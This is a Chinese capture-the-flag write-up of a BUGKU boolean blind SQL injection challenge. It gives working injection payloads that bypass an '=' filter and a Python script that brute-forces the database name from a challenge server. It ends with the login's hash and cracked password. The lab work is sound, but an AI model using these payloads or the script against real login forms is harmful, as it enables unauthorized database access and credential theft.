BUGKU CTF (sql bool注入)
题目打开 有提示我们是基于bool的SQL盲注 所以 不用太担心方法 但是 祸福相随 基于bool的盲注 可是不那么省事的
常规思路 试一下 弱口令 admin root 回复 密码错误
然后就需要进行 bool 注入的理念了 首先报数据库长度 a'or(length(database())>6)# 显示 password error
而 a'or(length(database())>8) -- - 则是username does not exist! 说明数据库长度为 8 (# -- - 注释后面的语句)
接下来就是需要我们来报数据库的名字了 这需要我们熟悉sql注入的语言
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)# 这里用<>的原因是 = 会被过滤
返回 password error! 注意 or 后面的条件如果为真,返回password error!,如果为假,返回username does not exist! or或 and 并 都可以的
返回password error! = > 第一个字母不等于a
然后调节 输入的长度 也就是这里的 1 8 99 直到回复 username does not exist! 也就是为真时 结合 ascii表 平凑出库名 爆出为blindsql
下面我们用大神的脚本 跑一下 看看对不对 (偷个懒)
import requests
# payload: a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>99)#
dic = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','_']
url = "http://114.67.246.176:19794/index.php"
ans = ""
for i in range(1 , 9):
j = 9 - i
for k in dic:
username = "a'or(ascii(substr(reverse(substr((database())from(" + str(i) + ")))from(" + str(j) + ")))<>" + str(ord(k)) + ")#"
data = {
"username" : username,
"password" : "admin"
}
res = requests.post( url , data=data)
if "username does not exist!" in res.text:
ans += k
print(ans)
good 然后爆出密码
结果为 4dcc88f8f1bc05e7c2ad1a60288481a2 紧接着MD5解密 为 bugkuctf
所以 用户名为 admin 密码为 bugkuctf 登录 得到flag